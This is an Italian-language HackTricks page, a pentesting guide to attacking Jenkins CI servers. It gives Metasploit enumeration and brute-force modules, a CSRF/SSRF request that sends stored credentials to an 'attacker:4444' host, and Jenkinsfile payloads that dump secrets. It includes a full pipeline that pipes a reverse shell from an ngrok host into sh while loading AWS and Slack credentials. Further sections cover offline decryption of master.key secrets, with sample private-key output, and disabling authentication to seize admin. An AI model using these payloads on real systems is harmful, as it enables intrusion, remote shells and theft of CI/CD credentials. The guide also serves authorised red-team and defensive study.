Sicurezza di Jenkins
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Informazioni di base
Jenkins è uno strumento che offre un metodo semplice per stabilire un ambiente di integrazione continua o continuous delivery (CI/CD) per quasi qualsiasi combinazione di linguaggi di programmazione e repository di codice sorgente usando pipeline. Inoltre, automatizza varie attività di sviluppo di routine. Sebbene Jenkins non elimini la necessità di creare script per singoli passaggi, fornisce però un modo più rapido e più robusto per integrare l’intera sequenza di strumenti di build, test e deployment rispetto a quanto si possa facilmente costruire manualmente.
Enumerazione non autenticata
Per cercare pagine interessanti di Jenkins senza autenticazione, come (/people o /asynchPeople, che elenca gli utenti correnti) puoi usare:
msf> use auxiliary/scanner/http/jenkins_enum
Verifica se è possibile eseguire comandi senza autenticazione:
msf> use auxiliary/scanner/http/jenkins_command
Senza credenziali puoi ispezionare il percorso /asynchPeople/ o /securityRealm/user/admin/search/index?q= per usernames.
Potresti riuscire a ottenere la versione di Jenkins dal percorso /oops o /error
.png)
Known Vulnerabilities
GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers
Login
Nelle informazioni di base puoi verificare tutti i modi per effettuare il login in Jenkins:
Register
Potrai trovare istanze Jenkins che permettono di creare un account e accedervi. Semplice così.
SSO Login
Inoltre, se erano presenti funzionalità/plugin SSO, dovresti provare a effettuare il log-in all’applicazione usando un account di test (es. un account di prova Github/Bitbucket). Trucchi da qui.
Bruteforce
Jenkins non applica una password policy né mitigazioni per il username brute-force. È essenziale eseguire brute-force sugli utenti, poiché potrebbero essere in uso password deboli o usernames come password, anche usernames invertiti come password.
msf> use auxiliary/scanner/http/jenkins_login
Password spraying
Usa this python script o this powershell script.
IP Whitelisting Bypass
Molte organizzazioni combinano SaaS-based source control management (SCM) systems come GitHub o GitLab con una soluzione internal, self-hosted CI come Jenkins o TeamCity. Questa configurazione permette ai sistemi CI di ricevere webhook events dai fornitori di source control SaaS, principalmente per triggerare pipeline jobs.
Per realizzare questo, le organizzazioni whitelist i IP ranges delle SCM platforms, permettendo loro di accedere al internal CI system tramite webhooks. Tuttavia, è importante notare che anyone può creare un account su GitHub o GitLab e configurarlo per trigger a webhook, potenzialmente inviando richieste al internal CI system.
Abusi interni di Jenkins
In questi scenari supponiamo che tu abbia un account valido per accedere a Jenkins.
Warning
A seconda del meccanismo di Authorization configurato in Jenkins e dei permessi dell’utente compromesso potresti essere in grado o meno di eseguire i seguenti attacchi.
Per maggiori informazioni consulta le informazioni di base:
Elencare utenti
Se hai accesso a Jenkins puoi elencare altri utenti registrati in http://127.0.0.1:8080/asynchPeople/
Dumping builds to find cleartext secrets
Usa this script per eseguire il dump degli output della console delle build e delle variabili d’ambiente delle build per cercare eventuali segreti in chiaro.
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
Alcuni plugin espongono handler Jelly validateButton o test connection sotto percorsi come /descriptorByName/<Class>/testConnection. Quando gli handler non impongono POST o controlli di permesso, puoi:
- Sostituire POST con GET e rimuovere il Crumb per bypassare i controlli CSRF.
- Eseguire l’handler come utente a basso privilegio/anonimo se non esiste un controllo
Jenkins.ADMINISTER. - Effettuare un CSRF contro un admin e sostituire il parametro host/URL per esfiltrare le credentials o innescare chiamate in uscita.
- Usare gli errori di risposta (es.
ConnectException) come un oracle SSRF/port-scan.
Esempio GET (no Crumb) che trasforma una chiamata di validazione in SSRF/credential exfiltration:
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
Se il plugin riutilizza credenziali memorizzate, Jenkins tenterà di autenticarsi su attacker:4444 e potrebbe causare il leak di identificatori o errori nella risposta. Vedi: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
Furto di SSH credentials
Se l’utente compromesso ha privilegi sufficienti per creare/modificare un nuovo nodo Jenkins e sono già memorizzate credenziali SSH per accedere ad altri nodi, potrebbe rubare quelle credenziali creando/modificando un nodo e impostando un host che registrerà le credenziali senza verificare la host key:
.png)
Di solito troverai le credenziali SSH di Jenkins in un provider globale (/credentials/), quindi puoi anche esportarle come faresti con qualsiasi altro secret. Maggiori informazioni nella sezione Dumping secrets.
RCE in Jenkins
Ottenere una shell sul server Jenkins dà all’attaccante l’opportunità di leakare tutti i secrets e le env variables e di sfruttare altre macchine nella stessa rete o perfino raccogliere cloud credentials.
Per impostazione predefinita, Jenkins sarà eseguito come SYSTEM. Quindi comprometterlo darà all’attaccante privilegi SYSTEM.
RCE Creazione/Modifica di un progetto
Creare/Modificare un progetto è un modo per ottenere RCE sul server Jenkins:
Jenkins RCE Creating/Modifying Project
RCE Esecuzione di uno script Groovy
Puoi anche ottenere RCE eseguendo uno script Groovy, che potrebbe essere più discreto rispetto alla creazione di un nuovo progetto:
Jenkins RCE with Groovy Script
RCE Creazione/Modifica di pipeline
Puoi anche ottenere RCE creando/modificando una pipeline:
Jenkins RCE Creating/Modifying Pipeline
Sfruttamento delle pipeline
Per sfruttare le pipeline è comunque necessario avere accesso a Jenkins.
Pipeline di build
Le pipeline possono essere utilizzate anche come meccanismo di build nei progetti; in tal caso può essere configurato un file all’interno del repository che conterrà la sintassi della pipeline. Per impostazione predefinita viene usato /Jenkinsfile:
.png)
È anche possibile memorizzare i file di configurazione della pipeline in altri posti (ad esempio in altri repository) con l’obiettivo di separare l’accesso al repository dall’accesso alla pipeline.
Se un attaccante ha accesso in scrittura a quel file sarà in grado di modificarlo e potenzialmente attivare la pipeline senza nemmeno avere accesso a Jenkins. È possibile che l’attaccante debba bypassare alcune protezioni dei branch (a seconda della piattaforma e dei privilegi utente potrebbero essere bypassabili o meno).
I trigger più comuni per eseguire una pipeline custom sono:
- Pull request al branch principale (o potenzialmente ad altri branch)
- Push al branch principale (o potenzialmente ad altri branch)
- Aggiornare il branch principale e aspettare che venga eseguito in qualche modo
Note
Se sei un utente esterno non dovresti aspettarti di poter creare una PR al branch principale del repo di un altro utente/organizzazione e attivare la pipeline… ma se è mal configurata potresti compromettere completamente aziende semplicemente sfruttando questo.
Pipeline RCE
Nella sezione RCE precedente è stata già indicata una tecnica per ottenere RCE modificando una pipeline.
Verifica delle env variables
È possibile dichiarare env variables in chiaro per l’intera pipeline o per specifici stage. Queste env variables non dovrebbero contenere informazioni sensibili, ma un attaccante potrebbe comunque controllare tutte le configurazioni della pipeline/Jenkinsfile:
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
Dumping secrets
Per informazioni su come i secrets sono solitamente gestiti da Jenkins consulta le informazioni di base:
Le Credentials possono essere scoped to global providers (/credentials/) oppure a specific projects (/job/<project-name>/configure). Pertanto, per exfiltrate tutte devi compromise at least all the projects che contengono secrets ed eseguire pipeline custom/poisoned.
C’è un altro problema: per ottenere un secret inside the env di una pipeline devi know the name and type of the secret. Per esempio, se provi a load un usernamePassword secret come un string secret otterrai questo error:
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
Ecco il modo per caricare alcuni tipi comuni di secret:
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
Alla fine di questa pagina puoi trovare tutti i tipi di credenziali: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
Warning
Il modo migliore per dump all the secrets at once è compromising la macchina Jenkins (ad esempio eseguendo una reverse shell nel built-in node) e poi leaking le master keys e le encrypted secrets e decifrarle offline.
Maggiori dettagli su come fare questo nella Nodes & Agents section e nella Post Exploitation section.
Triggers
From the docs: The triggers directive defines the automated ways in which the Pipeline should be re-triggered. For Pipelines which are integrated with a source such as GitHub or BitBucket, triggers may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are cron, pollSCM and upstream.
Cron example:
triggers { cron('H */4 * * 1-5') }
Consulta altri esempi nella documentazione.
Nodi & Agents
Una Jenkins instance potrebbe avere diversi agents in esecuzione su macchine differenti. Dal punto di vista di un attacker, l’accesso a macchine diverse significa different potential cloud credentials da rubare o different network access che potrebbero essere abusati per compromettere altre macchine.
Per maggiori informazioni consulta le informazioni di base:
Puoi enumerare i nodi configurati in /computer/, di solito troverai il **Built-In Node ** (che è il nodo che esegue Jenkins) e potenzialmente altri:
.png)
È particolarmente interessante compromettere il Built-In node perché contiene informazioni sensibili di Jenkins.
Per indicare che vuoi eseguire la pipeline nel built-in Jenkins node puoi specificare all’interno della pipeline la seguente configurazione:
pipeline {
agent {label 'built-in'}
Esempio completo
Pipeline in un agente specifico, con trigger cron, con variabili env a livello di pipeline e di stage, caricando 2 variabili in uno step e inviando una reverse shell:
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
Arbitrary File Read a RCE
Jenkins Arbitrary File Read to RCE via “Remember Me”
RCE
Jenkins RCE with Groovy Script
Jenkins RCE Creating/Modifying Project
Jenkins RCE Creating/Modifying Pipeline
Post Exploitation
Metasploit
msf> post/multi/gather/jenkins_gather
Jenkins Secrets
Puoi elencare i secrets accedendo a /credentials/ se hai i permessi sufficienti. Nota che questo elencherà solo i secrets all’interno del file credentials.xml, ma build configuration files potrebbero avere anche more credentials.
Se puoi vedere la configurazione di ogni progetto, puoi anche vedere lì i nomi delle credentials (secrets) usate per accedere al repository e altre credentials del progetto.
.png)
From Groovy
Jenkins Dumping Secrets from Groovy
Dal disco
Questi file sono necessari per decriptare i secrets di Jenkins:
- secrets/master.key
- secrets/hudson.util.Secret
Tali secrets possono solitamente essere trovati in:
- credentials.xml
- jobs/…/build.xml
- jobs/…/config.xml
Ecco una regex per trovarli:
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
Decriptare i secrets di Jenkins offline
Se hai ottenuto le password necessarie per decriptare i secrets, usa this script per decriptare quei secrets.
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
Decrypt Jenkins secrets from Groovy
println(hudson.util.Secret.decrypt("{...}"))
Creare un nuovo utente amministratore
- Accedi al file config.xml di Jenkins in
/var/lib/jenkins/config.xmloC:\Program Files (x86)\Jenkis\ - Cerca la stringa
<useSecurity>true</useSecurity>e cambia la parola **true** infalse. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml- Riavvia il server Jenkins:
service jenkins restart - Ora vai di nuovo al portale Jenkins e Jenkins non richiederà credenziali questa volta. Vai su “Manage Jenkins” per impostare nuovamente la password dell’amministratore.
- Riattiva la sicurezza cambiando l’impostazione in
<useSecurity>true</useSecurity>e riavvia di nuovo Jenkins.
Riferimenti
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter—toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
- https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

